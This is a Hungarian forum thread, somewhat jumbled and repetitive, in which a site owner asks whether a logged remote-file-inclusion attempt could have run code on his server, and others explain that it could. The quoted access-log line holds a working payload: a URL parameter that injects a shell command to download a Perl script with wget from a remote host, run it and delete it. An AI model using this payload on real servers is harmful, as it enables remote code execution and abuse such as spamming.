Script futtatási kisérlet?
A rendszergazdánk ilyet talált az apache access.log-ban:A domain neveket kicseréltem, a fájlnevek valósak. Belép a /temp-be, letölt egy perl scriptet amit futtat majd torol. Én csak az nem értem, még ha sikerülne is beincludolnia a $_GET["cont"]-on keresztül egy távoli php fájlt (nem sikerült, de tetelezzuk fel), az akkor sem a mi szerverünkön hajtódna végre, hanem a tavoli-domain.com-on. Innentől kezdve azt tudom elképzelni, hogy a tavoli-domain.com-on akartak scriptet futtatni, és ezzel a probalkozassal a mi szerevrünk ip-címe kerülne be az ottani access.log-ba. Jól gondolom?
Ennek ellenére csak sikerült a mi szerverünk /temp-jébe is irni, a levelezőszerverünkön keresztül spam-eket probaltak küldeni egy scripttel.
Egyéb tényezőktöl eltekintve (miért van wget,perl,php system() függvény engedélyezve), nyugtassatok meg, h a fenti próbálkozással nem lehet irni a /temp-be.
■ - valami.php?cont=http://tavoli-domain.com/tool.gif?&cmd=cd%20/tmp/;wget%20http://tavoli-domain2.com/gif.txt;perl%20gif.txt;rm%20-rf%20gif*
Ennek ellenére csak sikerült a mi szerverünk /temp-jébe is irni, a levelezőszerverünkön keresztül spam-eket probaltak küldeni egy scripttel.
Egyéb tényezőktöl eltekintve (miért van wget,perl,php system() függvény engedélyezve), nyugtassatok meg, h a fenti próbálkozással nem lehet irni a /temp-be.
?
Egészen
Mindazonáltal igen udvariatlan dolog akkor, ha senki sem válaszol, türelmetlenkedni.
de hogy tud irni?
zizi
Bence
http://vbence.web.elte.hu
Nem...
de neeem lehet
Ha csinálnék egy fájlt aminek a tartalma csak annyi lenne:
A gond az, h a rendszergazdank megvan győződve ha ezen keresztül beiincludolok egy:
üdv.: Zsolt
szerkeszt
A témanyitó hozzászólásban is ilyesmivel probalkoznak, de ennek nincs értelme, mert nem a mi szerverünkön fut le.
üdv.: Zsolt
include
De, futtathat bármilyen PHP kódot a szervereden.
? Távoli fájlnak lehet PHP kód a kimenete (pl. txt fájl), ha te azt beinclude-olod, akkor lefut a kód a szervereden.
igy mar ertem
ok, így már értem, erre nem is gondoltam.
üdv.: Zsolt
Rendőrség